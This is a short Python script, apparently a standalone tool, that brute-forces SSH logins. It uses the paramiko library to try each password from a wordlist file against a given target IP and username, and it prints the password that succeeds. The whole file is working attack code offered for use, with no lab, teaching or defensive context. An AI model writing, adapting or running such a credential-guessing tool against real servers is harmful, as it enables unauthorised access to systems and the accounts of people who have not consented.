ssh_brute_force.py

import paramiko
import sys

def ssh_connect(target, username, password, code=0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        ssh.connect(target, port=22, username=username, password=password)
    except paramiko.AuthenticationException:
        code = 1
    ssh.close()
    return code

def main():
    if len(sys.argv) != 4:
        print("Usage: python ssh_bruteforce.py <target_ip> <username> <password_file>")
        sys.exit(1)

    target = sys.argv[1]
    username = sys.argv[2]
    password_file = sys.argv[3]

    try:
        with open(password_file, 'r') as file:
            for line in file.readlines():
                password = line.strip()
                
                try:
                    response = ssh_connect(target, username, password)

                    if response == 0:
                        print('Password found: ' + password)
                        exit(0)
                    elif response == 1:
                        print('No luck with password: ' + password)
                except Exception as e:
                    print(e)
    except FileNotFoundError:
        print("Error: Password file not found. Please check the file path.")
        sys.exit(1)

if __name__ == "__main__":
    main()